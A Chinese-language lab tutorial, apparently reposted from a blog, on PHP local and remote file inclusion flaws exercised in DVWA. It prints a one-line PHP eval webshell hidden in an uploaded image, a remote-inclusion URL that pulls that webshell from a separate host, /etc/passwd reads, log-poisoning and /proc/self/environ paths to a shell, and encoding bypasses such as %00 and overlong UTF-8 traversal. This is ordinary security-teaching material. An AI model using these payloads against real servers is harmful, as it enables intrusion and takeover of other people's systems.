本实验是基于DVWA和sqli-labs的实验环境
实验平台搭建：下载Wamp集成环境，并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码对应即可。
0x01：文件包含漏洞
服务器通过php的特性（函数）去包含任意文件时，由于要包含的这个文件来源过滤不严，从而可以去包含一个恶意文件，而我们可以构造这个恶意文件来达到邪恶的目的。
这也算官方的解释吧，用个人的话说，通过浏览器、url地址或者是一个参数的变量的内容，可以通过修改这些url或者参数变量的内容，读取到web根目录以前其他文件，但是不同于目录浏览，目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称，把目录列表给列出来。
文件包含漏洞形成原因
程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件，而无需再次编写，这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活，所以将被包含的文件设置为变量，用来进行动态调用，
但正是由于这种灵活性，从而导致客户端可以调用一个恶意文件，造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能，但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少，甚至没有，这是有些语言设计的弊端。在PHP中经常出现包含漏洞，但这并不意味这其他语言不存在。
常见文件包含函数
include()：执行到include时才包含文件，找不到被包含文件时只会产生警告，脚本将继续执行
require()：只要程序一运行就包含文件，找不到被包含的文件时会产生致命错误，并停止脚本
include_once()和require_once()：这两个函数和前两个函数作用几乎相同，区别在于若文件中代码已被包含则不会再次包含
LFI（本地包含漏洞）目录遍历可以理解为本地包含漏洞，验证以及利用方法都相同。
RFI（远程包含漏洞）可以包含进其他主机的url地址，如自己开放一个www服务，然后在上面放一个木马文件，如果是代码会在这个机器上执行的。拿到shell的权限要看运行www服务的帐号。
包含漏洞的特征：（这个可以说是文中的干货了）
在某一个页面中，一个变量的值等于一个页面文件或者是一个固定的值，如
？page=a.asp
？home=b.html
？file=content
漏洞分类
本地文件包含：可以包含本地文件，在条件允许时甚至能执行代码
上传图片马，然后包含
读敏感文件，读PHP文件
包含日志文件GetShell
包含/proc/self/envion文件GetShell
包含data:或php://input等伪协议
若有phpinfo则可以包含临时文件
远程文件包含：可以直接执行任意代码
要保证php.ini中allow_url_fopen和allow_url_include要为On
0x02、文件包含漏洞利用
1、包含读出目标机上其它文件
如果对取得的参数page没有过滤，于是我们可以任意指定目标主机上的其它敏感文件
在linux中，"."表示当前目录，“..”表示上一层目录，当../到根目录下，再往上层父目录仍旧是根目录。
用常见的“../”包含出日志文件。
2、包含可运行的PHP木马
在很多地方，我们都可以上传图片，如上传头像，图片等，这这里先上传图片，图片的内容为一句话木马
<?php @eval($_POST['cmd']);?>
由于上传的限制，一般只能上传jpg，png的图片格式，代码无法执行，我们用本地包含的方式将图片包含进来，代码就执行了，代码不需要后缀名是php、asp的格式，只要内容是代码即可执行。
然后用中国菜刀连接（功夫再高，也怕菜刀！）
3.远程包含url和php木马
如果目标主机的"allow_url_fopen"是激活的（默认是激活的），我们就可以有更大的利用空间，我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行
不需要后缀名是php、asp的格式，只要内容是代码就可以。
出现概率少于本地包含，但更容易被利用
如在自己服务器上写上一句话代码，然后用远程包含漏洞去包含这个链接，
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php
然后同上，用菜刀连接，获取webshell。
0x03、包含漏洞绕过技巧
在利用包含漏洞中，经常遇到一个问题，在查看page=/etc/passwd的时候，出现报错，找不到/etc/passwd.php文件，说明默认自动加上了后缀名.php，绕过的方式有一下几种
1.编码绕过字符过滤
（1）加“.”，当加点，会忽略点后面的内容。
（2）“%00”，即null空字符（/etc/passwd%00）,在php语言格式里，当遇到%00的时候，后面不管有无其他东西，都不看了，只看%00前面的内容
（3）“#”，绕过文件扩展名过滤
2、编码
url编码、双层（多层）url编码
%2e%2e%2f 解码：../
%2e%2e%5c 解码：..\
%25%2e%25%2e%255c 解码：..\（可使用burp多层编码和解码）
uniclode/UTF-8编码
..%c0%af 解码：../
%c1%9c 解码：..\
但编码能否正确的起到效果，得看web server是否能对编码后的做解析
3、其他系统可能是使用到的特殊字符
file.txt ...
file.txt <spaces>
file .txt """"""""
file.txt <<>><
./././ file.txt
4、攻击向量字典
在kali中，也存在攻击向量字典路径是“/usr/share/wfuzz/wordlist/vulns”
利用条件
程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件
用户能够控制该动态变量
漏洞危害
这类漏洞看起来貌似并不严重，一旦被恶意利用则会带来很大的危害。本地文件包含不仅能够包含web文件目录中的一些配置文件（比如Web应用、数据库配置文件、config文件），还可以查看到一些Web动态页面的源代码，为攻击者进一步发掘web应用漏洞提供条件，甚至一旦与路径遍历漏洞相结合，还可能直接攫取目标系统的用户名与密码等文件。并且能执行任意代码，甚至控制服务器。
本文转自 wt7315 51CTO博客，原文链接:http://blog.51cto.com/wt7315/1863177
